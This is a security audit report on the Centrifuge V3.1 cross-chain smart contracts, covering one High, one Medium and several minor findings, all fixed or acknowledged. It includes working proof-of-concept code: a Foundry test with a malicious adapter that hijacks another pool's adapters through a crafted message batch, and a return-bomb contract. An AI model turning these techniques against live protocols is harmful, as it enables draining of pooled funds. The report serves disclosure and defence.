BURRA SEC

Centrifuge V3.1 Protocol Security Review

Reviewed by: Goran Vladika, SpicyMeatball, naman

8th October - 10th October, 2025

Centrifuge V3.1 Protocol Security Review Report

Burra Security

December 10, 2025

Introduction

A time-boxed security review of the **Centrifuge V3.1** protocol was done by **Burra Security** team, focusing on the security aspects of the smart contracts.

Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource, and expertise-bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any vulnerabilities. Subsequent security reviews, bug bounty programs, and on-chain monitoring are recommended.

About Burra Security

Burra Sec offers security auditing and advisory services with a special focus on cross-chain and inter-operability protocols and their integrations.

About Centrifuge V3.1

Centrifuge is an open, decentralized protocol for onchain asset management. Built on immutable smart contracts, it enables permissionless deployment of customizable tokenization products.

Build a wide range of use cases, from permissioned funds to onchain loans, while enabling fast, secure deployment. ERC-4626 and ERC-7540 vaults allow seamless integration into DeFi.

Using protocol-level chain abstraction, tokenization issuers access liquidity across any network, all managed from one Hub chain of their choice.

Severity classification

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

Impact - The technical, economic, and reputation damage from a successful attack

Likelihood - The chance that a particular vulnerability gets discovered and exploited

Severity - The overall criticality of the risk

Informational - Findings in this category are recommended changes for improving the structure, usability, and overall effectiveness of the system.

Security Assessment Summary

***review commit hash* - 55e61dcc9830b2fb519a671db199cad4686563c4**

Scope

The following smart contracts were in the scope of the audit:

- src/core/messaging/Gateway.sol
- src/core/messaging/MultiAdapter.sol
- src/core/messaging/GasService.sol
- src/core/messaging/MessageDispatcher.sol
- src/core/messaging/MessageProcessor.sol
- src/adapters/*.sol (excluding the LayerZero adapter)

- src/admin/ProtocolGuardian.sol
- src/admin/OpsGuardian.sol
- src/vaults/factories/RefundEscrowFactory.sol
- src/vaults/RefundEscrow.sol
- src/vaults/AsyncRequestManager.sol#L78-L98

Findings Summary

ID	Title	Severity	Status
H-1	Single pool manager can manipulate adapter payloads to bypass pool ID checks	High	Resolved

Detailed Findings

[H-01] Single pool manager can manipulate adapter payloads to bypass pool ID checks

Target

- MultiAdapter.sol

Severity

- Impact: High
- Likelihood: High

Description

The Centrifuge protocol employs a hub-and-spoke architecture where pools are managed by designated pool managers who have control over their assigned pool. The protocol's security model assumes pool managers are trusted to act in their pool's best interest while limiting their authority to their own pool's scope. However, a critical vulnerability in the MultiAdapter contract allows any pool manager to break out of their intended scope and execute arbitrary operations on other pools.

The vulnerability stems from insufficient validation in the message batching mechanism. When the MultiAdapter receives a batch of messages, it only validates that the calling adapter is authorized for the first message's poolId, then forwards the entire batch to the Gateway for processing without validating subsequent messages:

```
1     function handle(uint16 centrifugeId, bytes calldata payload)
          external {
```

```
        PoolId poolId = messageProperties.messagePoolId(payload); //
            @audit this is poolId of 1st msg only

        IAdapter adapterAddr = IAdapter(msg.sender);
        Adapter memory adapter = _poolAdapterDetails(centrifugeId,
            poolId, adapterAddr);
        require(adapter.id != 0, InvalidAdapter()); // @audit this
            check verifies only the 1st msg's target pool
        // ...
        gateway.handle(centrifugeId, payload); //@audit send the batch
            for execution
```

The flawed assumption is that all messages in a batch target the same pool. It can be exploited by malicious actors because protocol allows pool managers to configure custom adapters for their pools to handle cross-chain messaging. A malicious manager can exploit this by:

1. Setting up a malicious adapter for their Pool_X via `hub.setAdapters()`
2. Crafting a batch containing multiple messages:
    - 1st msg: any message for Pool_X (e.g., `NotifyPool`)
    - 2nd msg: `SetPoolAdapter` on victim pool Pool_A
3. Manager calls `multiAdapter.handle` from malicious adapter providing the crafted msg (directly on "destination" chain, no cross-chain involved)
4. MultiAdapter validation passes - it only checks against the calling adapter for Pool_X. But subsequent msgs in the batch can target any pool
5. Gateway splits batch, then executes poolX msg
6. Next msg is `SetPoolAdapters` on poolA, it executes successfully even though it targets poolA and not manager's poolX
    - malicious manager of poolX effectively overtakes adapters of poolA via `multiAdapter.setAdapters` call
7. Once overtaken, malicious manager controls all cross-chain operations for Pool_A. It can simply fake incoming msgs to drain the pool

This vulnerability completely undermines the protocol's security model of pool isolation. A compromised or malicious manager of a minimal-TVL pool can take over adapters of all other pools, drain funds, manipulate prices and in general, compromise the entire protocol's TVL across all pools..

Proof of Concept

Add this test to EndToEnd.t.sol:

```
    function test_PoolTakeoverAttack_POC() public {
        _setSpoke(false);
        vm.startPrank(address(h.protocolGuardian.safe()));

        //// create pool1
        PoolId POOL_1 = h.hubRegistry.poolId(CENTRIFUGE_ID_A, 100);
        h.opsGuardian.createPool(POOL_1, FM, USD_ID);

        // print adapters before attack
        IAdapter[] memory adaptersPool1ForB =
            h.multiAdapter.poolAdapters({centrifugeId: CENTRIFUGE_ID_B,
                poolId: POOL_1});
        console2.log("Pool1 adapter for chainB:", address(
            adaptersPool1ForB[0]));
        IAdapter[] memory adaptersPool1ForA =
            s.multiAdapter.poolAdapters({centrifugeId: CENTRIFUGE_ID_A,
                poolId: POOL_1});
        console2.log("Pool1 adapter for chainA:", address(
            adaptersPool1ForA[0]));

        //// create pool2 with
        PoolId POOL_2 = h.hubRegistry.poolId(CENTRIFUGE_ID_A, 200);
        address maliciousManager = makeAddr("maliciousManager");
        h.opsGuardian.createPool(POOL_2, maliciousManager, USD_ID);

        /// manager sets malicious adapter
        vm.startPrank(maliciousManager);
        deal(maliciousManager, GAS * 10);

        address maliciousAdapter = address(new MaliciousAdapter());
        IAdapter[] memory localAdapters = new IAdapter[](1);
        localAdapters[0] = IAdapter(maliciousAdapter);

        bytes32[] memory remoteAdapters = new bytes32[](1);
        remoteAdapters[0] = address(localAdapters[0]).toBytes32();

        h.hub.setAdapters{value: GAS}(POOL_2, CENTRIFUGE_ID_B,
            localAdapters, remoteAdapters, 1, 1, REFUND);

        // print pool2 adapters
        IAdapter[] memory adaptersPool2ForB =
            h.multiAdapter.poolAdapters({centrifugeId: CENTRIFUGE_ID_B,
                poolId: POOL_2});
        console2.log("Pool2 malicious adapter set by malicious manager
            for chainB:", address(adaptersPool2ForB[0]));
        IAdapter[] memory adaptersPool2ForA =
            s.multiAdapter.poolAdapters({centrifugeId: CENTRIFUGE_ID_A,
                poolId: POOL_2});
        console2.log("Pool2 malicious adapter set by malicious manager
            for chainA:", address(adaptersPool2ForA[0]));
```

```
42          vm.stopPrank();
43
44          /// call MultiAdapter from malicious adapter. 2nd message is
                the one doing overtake
45          bytes memory msg1 = MessageLib.NotifyPool({poolId: POOL_2.raw()
                }).serialize();
46          bytes memory maliciousMsg = MessageLib.SetPoolAdapters({
47              poolId: POOL_1.raw(),
48              threshold: 1,
49              recoveryIndex: 1,
50              adapterList: remoteAdapters
51          }).serialize();
52          bytes memory batch = bytes.concat(msg1, maliciousMsg);
53          MaliciousAdapter(maliciousAdapter).trigger(s.multiAdapter,
                batch);
54
55          /// check attack was successful
56          adaptersPool1ForB = h.multiAdapter.poolAdapters({centrifugeId:
                CENTRIFUGE_ID_B, poolId: POOL_1});
57          console2.log("Pool1 adapter after attack for chain B:", address
                (adaptersPool1ForB[0]));
58
59          adaptersPool1ForA = s.multiAdapter.poolAdapters({centrifugeId:
                CENTRIFUGE_ID_A, poolId: POOL_1});
60          console2.log("Pool1 adapter after attack for chain A:", address
                (adaptersPool1ForA[0]));
61      }
```

Malicious adapter implementation:

```
1  contract MaliciousAdapter {
2      uint16 constant CENTRIFUGE_ID_A = IntegrationConstants.
           CENTRIFUGE_ID_A;
3
4      function trigger(MultiAdapter multiAdapter, bytes calldata payload)
           external {
5          multiAdapter.handle({centrifugeId: CENTRIFUGE_ID_A, payload:
               payload});
6      }
7  }
```

Running the test confirms that Pool1's adapter for chain A is overtaken:

```
1    Pool1 adapter for chainB: 0xa0Cb889707d426A7A386870A03bc70d1b0697598
2    Pool1 adapter for chainA: 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c
3    Pool2 malicious adapter set by malicious manager for chainB: 0
         xaA60dFAB404854002B6Ef8aeaCe6030C2Ef0CF9E
4    Pool2 malicious adapter set by malicious manager for chainA: 0
         xaA60dFAB404854002B6Ef8aeaCe6030C2Ef0CF9E
5    Pool1 adapter after attack for chain B: 0
         xa0Cb889707d426A7A386870A03bc70d1b0697598
```

```
6    Pool1 adapter after attack for chain A: 0
        xaA60dFAB404854002B6Ef8aeaCe6030C2Ef0CF9E
```

Recommendation

Ensure that all messages in the incoming batch are targeting the same poolId. That way the pool manager is restricted to only impact the pool they're managing.

Client

Fixed with PR#718.

BurraSec

Fix looks good.

Appendix

From 1st December to 3rd December 2025, Burra Security team consisted of researchers Goran Vladika and SpicyMeatball were engaged to review the same scope on the commit hash a413fbcf34c6dfd0952f4e23ddff3b2ca911b7b0.

The final fix review commit hash verified is 6b9d36eabee48728486f377ea2766a5cd233c555.

Findings Summary

ID	Title	Severity	Status
M-1	Return-bomb vulnerability in Gateway's catch block	Medium	Resolved
L-1	Gas distribution for batch messages can cause forced failures	Low	Resolved
I-1	Unused function in MultiAdapter	Info	Resolved
I-2	Special case for the Base chain	Info	Resolved
I-3	It is possible to bypass the max batch gas limit when sending a crosschainTransferShares message	Info	Acknowledged

Detailed Findings

[M-1] Return-bomb vulnerability in Gateway's catch block

Target

- Gateway.sol#L124

Severity

- Impact: Medium
- Likelihood: Medium

Description

The Gateway contract uses a Solidity `try/catch` block to handle failures from `processor.handle(...)`:

```
    try processor.handle{gas: gasLimit - PROCESS_FAIL_MESSAGE_GAS}(centrifugeId, message) {
        emit ExecuteMessage(centrifugeId, message, messageHash);
    } catch (bytes memory err) {
        failedMessages[centrifugeId][messageHash]++;
        emit FailMessage(centrifugeId, message, messageHash, err);
    }
```

The `processor.handle()` function may invoke untrusted external contracts via `contractUpdater.untrustedCall()`, which in turn calls arbitrary target contracts. A malicious target contract can revert with a very large return payload (a "return bomb"). When the revert propagates back to the Gateway `catch(bytes memory err)` Solidity automatically copies the entire revert payload into memory. This memory expansion can drain the remaining gas.

As a result, the failure-handling code itself can fail. An attacker can use this fact to intentionally force batch containing system messages to be unprocessable, causing protocol desynchronization.

Proof of concept

See this example where there is a chain of contract calls (A.a() -> B.b() -> C.c()), and even with the `B.b()` call being wrapped in `try/catch` with the explicit gas setting set to 300k the gas used in the `catch` block exceeds that amount due to the return data being copied into memory.

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

import "forge-std/Test.sol";
import "forge-std/console.sol";

contract ContractC {
    uint256 public value;

    function c() external returns (uint256) {
       assembly {
            revert(0, 230000)
        }
    }
}

contract ContractB {
    ContractC public c;
```

```
19
20      constructor(address _c) {
21          c = ContractC(_c);
22      }
23
24      function b() external returns (uint256) {
25          return c.c();
26      }
27  }
28
29  contract ContractA {
30      ContractB public b;
31
32      constructor(address _b) {
33          b = ContractB(_b);
34      }
35
36      function a() external returns (uint256) {
37          uint256 gasLeft = gasleft();
38          console.log("gasLeft", gasLeft);
39          try b.b{gas: 300_000}() {
40              console.log("success", gasleft());
41          } catch (bytes memory returnData) {
42              uint256 gasUsed = gasLeft - gasleft();
43              console.log("gasUsed", gasUsed); // 424_067
44              console.log("returnData", returnData.length); // 230_000
45          }
46      }
47  }
48
49  contract ChainOfCallsTest is Test {
50      ContractA public contractA;
51      ContractB public contractB;
52      ContractC public contractC;
53
54      function setUp() public {
55          contractC = new ContractC();
56          contractB = new ContractB(address(contractC));
57          contractA = new ContractA(address(contractB));
58      }
59
60      function test_chain_of_calls() public {
61          contractA.a();
62      }
63  }
```

Recommendation

The defense shall be applied when making the external call to processor. There's a battle tested library that handles exactly this scenario: https://github.com/nomad-xyz/ExcessivelySafeCall. Replacing the try/catch with `excessivelySafeCall` (while limiting the return data size) will ensure that no attacker can force the batch into being unprocessable.

Client

Fixed in https://github.com/centrifuge/protocol-internal/pull/67/files

BurraSec

Fix verified. `ExcessivelySafeCall` is now used to prevent returnbombs.

[L-1] Gas distribution for batch messages can cause forced failures

Target

- Gateway.sol#L121

Severity

- Impact: Low
- Likelihood: Medium

Description

For every message in the batch source chain reserves this amount of gas: BASE + FAIL + MSG_PROCESSING:

```
1     function _gasValue(uint128 value) internal pure returns (uint128) {
2         return BASE_COST + uint128(PROCESS_FAIL_MESSAGE_GAS) + 64 *
              value / 63;
3     }
```

Destination chain will ensure that every msg gets at least the FAIL part of the reserved gas:

```
try processor.handle{gas: gasleft() - PROCESS_FAIL_MESSAGE_GAS *
    remainingMessages--}
```

But it is not ensured that every message gets MSG_PROCESSING gas. So 1st message can spend all the gas that was reserved for subsequent msgs, apart from the FAIL gas portion.

Ie. batch contains 3 messages. On the source chain for each one of them amount of gas reserved is 30k(BASE) + 50k(FAIL) + 100k(MSG_PROCESSING). In total 3 * 180k = 540k gas. What can happen on destination chain - 1st message is `UntrustedContractUpdate`, it gets 540k - 3*50k = 390k gas for execution. Let's say malicious contract burns all the gas (actually 1/64 is left, but not important), followed by FAIL processing (another 50k). Now after 1st msg is resolved (stored for retry), the contract has 100k gas left. So both 2nd and 3rd msg processing will run out of gas, and they will be stored for retry as well. But they never got the chance to execute successfully.

This is not critical because messages can be retried manually. But still, messages which come earlier in the batch can prevent successful automatic execution of messages that come later in the batch, which is not ideal.

Note: It's actually pretty similar scenario to the LayerZero issue where anyone can front-run the executor and call `lzReceive` directly with custom gas amount which will make TX pass but force all batch messages to fail (in this implementation, gas amount provided would need to be `n * PROCESS_FAIL_MESSAGE_GAS` + a small overhead).

Recommendation

Ensure every message gets exactly the amount of gas for processing which was intended for that messages, but not more than that. One way to ensure it to pass `extraGasLimit` from source to destination chain so every `processor.handle` call gets the proper gas amount.

Client

Fixed in https://github.com/centrifuge/protocol-internal/pull/67/files

BurraSec

Fix verified. Now every message gets the amount of gas which was allocated for it on the source chain.

[I-1] Unused function in MultiAdapter

Target

- MultiAdapter.sol#L191

Severity

INFO

Description

Unused internal function is left in the MultiAdapter code after removing the global adapters feature:

```
    function _poolAdapterDetails(uint16 centrifugeId, PoolId poolId,
        IAdapter adapterAddr)
        internal
        view
        returns (Adapter memory adapter)
    {
        adapter = _adapterDetails[centrifugeId][poolId][adapterAddr];

        // If adapters not configured per pool, then assume it's
            received by a global adapters
        if (adapter.id == 0 && adapters[centrifugeId][poolId].length ==
            0) {
            adapter = _adapterDetails[centrifugeId][GLOBAL_POOL][
                adapterAddr];
        }
    }
```

Recommendation

Remove unused function

Client

Fixed in https://github.com/centrifuge/protocol-internal/pull/71

BurraSec

Fix verified

[I-2] Special case for the Base chain

Target

- GasService.sol#L19

Severity

INFO

Description

The Gateway attempts to limit batch gas usage by capping the total gas at 3/4 of the chain's block gas limit:

```
function maxBatchGasLimit(uint16 centrifugeId) external view
    returns (uint128) {
    // blockLimitsPerCentrifugeId counts millions of gas units,
        then we need to multiply by 1_000_000
    // The final result is multiplied by 0.75 to avoid having a
        transaction that can occupy the entire block
    return (centrifugeId < 32
                ? uint8(bytes32(blockLimitsPerCentrifugeId)[
                    centrifugeId])
                : MIN_SUPPORTED_BLOCK_LIMIT) * 1_000_000 * 3 / 4;
}
```

However, the Base chain has additional constraints: - it enforces a per-transaction gas limit, currently capped at 25M gas: per-transaction-gas-maximum - this limit is planned to be lowered to ~16.7M gas in 2026: > Fusaka's EIP 7825 will change the block validity conditions and enforce a lower per-transaction gas maximum of 16,777,216 gas (2^24). We expect this protocol change to be adopted in all OP Stack chains around January 2026.

The current GasService sets `MIN_SUPPORTED_BLOCK_LIMIT = 25`, which may become too high once this change takes effect.

Recommendation

Consider accounting for the per-transaction gas limit on Base rather than the block gas limit, and reduce `MIN_SUPPORTED_BLOCK_LIMIT` to 16 (million units) for future compatibility.

Client

Fixed in https://github.com/centrifuge/protocol-internal/pull/71

BurraSec

Verified.

[I-3] It is possible to bypass the max batch gas limit when sending a crosschainTransferShares message

Target

- Spoke.sol#L87
- MessageDispatcher.sol#L491-L500

Severity

INFO

Description

There is a special case for cross-chain share transfers where the operation is performed in two hops. First, `initiateSharesTransfer` is sent:

```
    function sendInitiateTransferShares(
        uint16 targetCentrifugeId,
        PoolId poolId,
        ShareClassId scId,
        bytes32 receiver,
        uint128 amount,
        uint128 extraGasLimit,
        uint128 remoteExtraGasLimit,
        address refund
    ) external payable auth {
        if (poolId.centrifugeId() == localCentrifugeId) {
            hubHandler.initiateTransferShares{
                value: msg.value
            }(localCentrifugeId, targetCentrifugeId, poolId, scId,
               receiver, amount, remoteExtraGasLimit, refund);
        } else {
```

```
16              _send(
17                  poolId.centrifugeId(),
18                  MessageLib.InitiateTransferShares({
19                          centrifugeId: targetCentrifugeId,
20                          poolId: poolId.raw(),
21                          scId: scId.raw(),
22                          receiver: receiver,
23                          amount: amount,
24  >>>                     extraGasLimit: remoteExtraGasLimit
25                      }).serialize(),
26                  extraGasLimit,
27                  false,
28                  refund
29              );
30          }
31      }
```

The second message, `executeTransferShares`, is then sent in unpaid mode:

```
1       function sendExecuteTransferShares(
2           uint16 originCentrifugeId,
3           uint16 targetCentrifugeId,
4           PoolId poolId,
5           ShareClassId scId,
6           bytes32 receiver,
7           uint128 amount,
8           uint128 extraGasLimit,
9           address refund
10      ) external payable auth {
11          if (targetCentrifugeId == localCentrifugeId) {
12              // Spoke chain X => Hub chain Y => Spoke chain Y
13              spoke.executeTransferShares(poolId, scId, receiver, amount)
                    ;
14              _refund(refund);
15          } else {
16              _send(
17                  targetCentrifugeId,
18                  MessageLib.ExecuteTransferShares({
19                          poolId: poolId.raw(), scId: scId.raw(),
                                receiver: receiver, amount: amount
20                      }).serialize(),
21                  extraGasLimit,
22  >>>             originCentrifugeId != localCentrifugeId,
23                  refund
24              );
25          }
26      }
```

For this second hop, `remoteExtraGasLimit` is used as `extraGasLimit`. This value is fully controlled by the caller who initiates the cross-chain transfer. Currently, no validation is performed on this

parameter. Since the message is sent in unpaid mode, it bypasses all batch gas checks. A caller may therefore supply an excessively large gas limit, resulting in a message that cannot be refunded and forwarded to the target chain.

Recommendation

The impact is limited to a single message and effectively constitutes a self-harm scenario, but it is recommended to validate `remoteExtraGasLimit` and ensure that it remains within a reasonable upper bound.

Client

Acknowledged, this is limited to self-harms, thus acceptable.